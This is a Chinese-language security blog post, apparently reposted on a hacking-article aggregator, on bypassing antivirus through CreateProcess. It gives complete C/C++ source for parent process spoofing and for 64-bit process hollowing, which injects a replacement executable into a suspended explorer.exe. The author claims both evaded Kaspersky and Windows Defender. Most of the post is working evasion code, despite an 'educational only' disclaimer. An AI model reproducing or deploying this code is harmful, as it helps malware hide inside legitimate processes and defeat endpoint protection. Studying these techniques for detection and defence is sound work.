记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Antivirus Bypass(二)基于CreateProcess函数

2022-01-10 13:09

 

本篇文章是Bypass思路系列文章的第二篇,后续会持续更新有关Bypass的思路

因为工作原因,文章断断续续,时间线上会存在差异,思路及代码可行性仅供参考。

若文章中存在说的不清楚或者错误的地方 欢迎师傅们指正 感激不尽!!!

免责声明:这不是制作恶意软件的教程,而是仅用于教育目的的实际案例。

 

前言

在上一篇文章末尾提到两个对CreateProcess的利用方法,本篇文章对两个方法进行补充。

 

一、SpoofParentProcess

父进程欺骗技术,其实就是创建一个进程,指定其他进程为这个新创建进程的父进程。过多详情笔者就不描述了,前辈的文章写的足够详细了。

0x00 Bypass Code

以下为笔者实现bypass的代码:

#include <Windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <string>

using namespace std;


int main(int argc, char **canttrustthis)
{
string targetProcess = "explorer.exe";
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
HANDLE parent;

if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (strcmp(entry.szExeFile, targetProcess.c_str()) == 0)
{
parent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
break;
}
}
}

CloseHandle(snapshot);


PROCESS_INFORMATION pi = { 0 };
STARTUPINFOEXA si = { 0 };
SIZE_T sizeToAllocate;

// Initialize the process start attributes
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);

// Set the parent process
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent,
sizeof(HANDLE), NULL, NULL))
{
return 0;
}
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);


BOOL success = CreateProcessA(
NULL,
const_cast<char *>("C:\\Windows\\system32\\notepad.exe"),
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
(LPSTARTUPINFOA)&si,
&pi
);

CloseHandle(parent);
return 0;
}

Tips:父进程欺骗需要用户权限去启动,父进程为NT AUTHORITY SYSTEM权则无法创建进程。

0x01 VirusTotal Killing Results

实现Bypass的编译器是VS2010,选用MFC应用程序。

0x02 Behavior Detection

经Kaspersky、Windows Defender等动态行为测试,均无提示。

 

二、ProcessHollowing

傀儡进程是指将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程。

0x00 Implementation Principle

​ 以挂起的方式打开目标进程,将ShellCode代码写入目标进程,并修改目标进程的执行流程,使其转而执行ShellCode代码,这样,进程还是目标原本进程,但执行的操作却替换成我们的ShellCode了。

0x01 Implementation Process

  1. 通过 CreateProcess 创建进程,传入参数 CREATE_SUSPENDED 使进程挂起
  2. 通过 NtUnmapViewOfSection 清空新进程的内存数据
  3. 通过 VirtualAllocEx 申请新的内存
  4. 通过 WriteProcessMemory 向内存写入 payload
  5. 通过 SetThreadContext 设置入口点
  6. 通过 ResumeThread 唤醒进程,执行 payload

0x03 Bypass

ProcessHollowing.cpp

#include "ProcessHollowing.h"

int ProcessHollowing(char *DestinationProgramPath, char *SourceProgramPath)
{
STARTUPINFOA si = { 0, };
PROCESS_INFORMATION pi = { 0, };
si.cb = sizeof(si);

CreateProcessA(NULL, DestinationProgramPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

if (!pi.hProcess)
{
return -1;
}

CONTEXT Context = { 0, };
Context.ContextFlags = CONTEXT_FULL;

if (GetThreadContext(pi.hThread, &Context) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

PEB peb = { 0, };

if (ReadProcessMemory(pi.hProcess, Context.Rdx, &peb, sizeof(PEB), NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

if (NtUnmapViewOfSection(pi.hProcess, peb.ImageBaseAddress) == STATUS_ACCESS_DENIED)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

HANDLE hFile = CreateFileA(SourceProgramPath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);

if (hFile == INVALID_HANDLE_VALUE)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

DWORD FileSize = GetFileSize(hFile, NULL);

BYTE *SourceBuffer = malloc(FileSize);

ZeroMemory(SourceBuffer, FileSize);

ReadFile(hFile, SourceBuffer, FileSize, NULL, NULL);

IMAGE_DOS_HEADER *DOS = SourceBuffer;

IMAGE_NT_HEADERS64 *NT = (ULONGLONG)DOS + DOS->e_lfanew;

IMAGE_SECTION_HEADER (*SECTION)[1] = (ULONGLONG)NT + sizeof(IMAGE_NT_HEADERS64);

PVOID SrcImageBase = NT->OptionalHeader.ImageBase;
PVOID DestImageBase = VirtualAllocEx(pi.hProcess, peb.ImageBaseAddress, NT->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (DestImageBase == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

NT->OptionalHeader.ImageBase = DestImageBase;

if (WriteProcessMemory(pi.hProcess, DestImageBase, SourceBuffer, NT->OptionalHeader.SizeOfHeaders, NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

for (int i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (SECTION[i]->PointerToRawData == NULL)
{
continue;
}

PVOID SrcSectionRowDataPointer = (ULONGLONG)SourceBuffer + SECTION[i]->PointerToRawData;
PVOID DestSectionVirtualAddress = (ULONGLONG)DestImageBase + SECTION[i]->VirtualAddress;

if (WriteProcessMemory(pi.hProcess, DestSectionVirtualAddress, SrcSectionRowDataPointer, SECTION[i]->SizeOfRawData, NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
}

if (DestImageBase != SrcImageBase)
{
IMAGE_BASE_RELOCATION *BASE_RELOCATION = NULL;
for (int i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (NT->OptionalHeader.DataDirectory[5].VirtualAddress == SECTION[i]->VirtualAddress)
{
BASE_RELOCATION = (ULONGLONG)SourceBuffer + SECTION[i]->PointerToRawData;
break;
}
}

DWORD SIZE_RELOCTION = NT->OptionalHeader.DataDirectory[5].Size;

if (BASE_RELOCATION == NULL || SIZE_RELOCTION == 0)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

DWORD SIZE = 0;

while (SIZE_RELOCTION != SIZE)
{
BASE_RELOCATION_ENTRY (*Type)[1] = (ULONGLONG)BASE_RELOCATION + 8;

for (int i = 0; i < (BASE_RELOCATION->SizeOfBlock - 8) / 2; i++)
{
if ((*Type[i]).Offset != NULL)
{
PVOID HardCodingAddress = (ULONGLONG)DestImageBase + BASE_RELOCATION->VirtualAddress + (*Type[i]).Offset;
ULONGLONG HardCodingData;

if (ReadProcessMemory(pi.hProcess, HardCodingAddress, &HardCodingData, 8, NULL) == NULL)
{
continue;
}

HardCodingData -= (ULONGLONG)SrcImageBase;
HardCodingData += (ULONGLONG)DestImageBase;

if (WriteProcessMemory(pi.hProcess, HardCodingAddress, &HardCodingData, 8, NULL) == NULL)
{
continue;
}
}
}

SIZE += BASE_RELOCATION->SizeOfBlock;
BASE_RELOCATION = (ULONGLONG)BASE_RELOCATION + BASE_RELOCATION->SizeOfBlock;
}
}

ULONGLONG NewEntryPoint = (ULONGLONG)DestImageBase + NT->OptionalHeader.AddressOfEntryPoint;

Context.Rcx = NewEntryPoint;

if (SetThreadContext(pi.hThread, &Context) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

if (ResumeThread(pi.hThread) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}

free(SourceBuffer);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdParam,
int nCmdShow)
{
ProcessHollowing("explorer.exe", "MessageBox.exe");
return 0;
}

ProcessHollowing.h

#pragma once
#include <stdio.h>
#include <windows.h>
#include <dbghelp.h>

#define STATUS_ACCESS_DENIED 0xC0000022

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _PEB
{
BYTE InheritedAddressSpace;
BYTE ReadImageFileExecOptions;
BYTE BeingDebugged;
BYTE SpareBool;
void *Mutant;
void *ImageBaseAddress;
void *Ldr;
void *ProcessParameters;
void *SubSystemData;
void *ProcessHeap;
void *FastPebLock;
void *FastPebLockRoutine;
void *FastPebUnlockRoutine;
DWORD EnvironmentUpdateCount;
void *KernelCallbackTable;
DWORD SystemReserved[1];
DWORD ExecuteOptions : 2;
DWORD SpareBits : 30;
void *FreeList;
DWORD TlsExpansionCounter;
void *TlsBitmap;
DWORD TlsBitmapBits[2];
void *ReadOnlySharedMemoryBase;
void *ReadOnlySharedMemoryHeap;
void **ReadOnlyStaticServerData;
void *AnsiCodePageData;
void *OemCodePageData;
void *UnicodeCaseTableData;
DWORD NumberOfProcessors;
DWORD NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
DWORD HeapSegmentReserve;
DWORD HeapSegmentCommit;
DWORD HeapDeCommitTotalFreeThreshold;
DWORD HeapDeCommitFreeBlockThreshold;
DWORD NumberOfHeaps;
DWORD MaximumNumberOfHeaps;
void **ProcessHeaps;
void *GdiSharedHandleTable;
void *ProcessStarterHelper;
DWORD GdiDCAttributeList;
void *LoaderLock;
DWORD OSMajorVersion;
DWORD OSMinorVersion;
WORD OSBuildNumber;
WORD OSCSDVersion;
DWORD OSPlatformId;
DWORD ImageSubsystem;
DWORD ImageSubsystemMajorVersion;
DWORD ImageSubsystemMinorVersion;
DWORD ImageProcessAffinityMask;
DWORD GdiHandleBuffer[34];
void (*PostProcessInitRoutine)();
void *TlsExpansionBitmap;
DWORD TlsExpansionBitmapBits[32];
DWORD SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
void *pShimData;
void *AppCompatInfo;
UNICODE_STRING CSDVersion;
void *ActivationContextData;
void *ProcessAssemblyStorageMap;
void *SystemDefaultActivationContextData;
void *SystemAssemblyStorageMap;
DWORD MinimumStackCommit;
} PEB, *PPEB;

typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information,
ProcessImageFileName,
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessConsoleHostProcess,
ProcessWindowInformation,
MaxProcessInfoClass
} PROCESSINFOCLASS;

typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

typedef struct _BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

NTSYSAPI NTSTATUS NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
int ProcessHollowing(char *DestinationProgramPath, char *SourceProgramPath);

0X04 VirusTotal Killing Results

0x05 Behavior Detection


参考链接:

https://www.anquanke.com/post/id/168618

https://github.com/idan1288/ProcessHollowing32-64


知识来源: https://www.anquanke.com/post/id/264908

阅读:44935 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“Antivirus Bypass(二)基于CreateProcess函数”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

↓赞助商 🙇🧎

标签云 ☁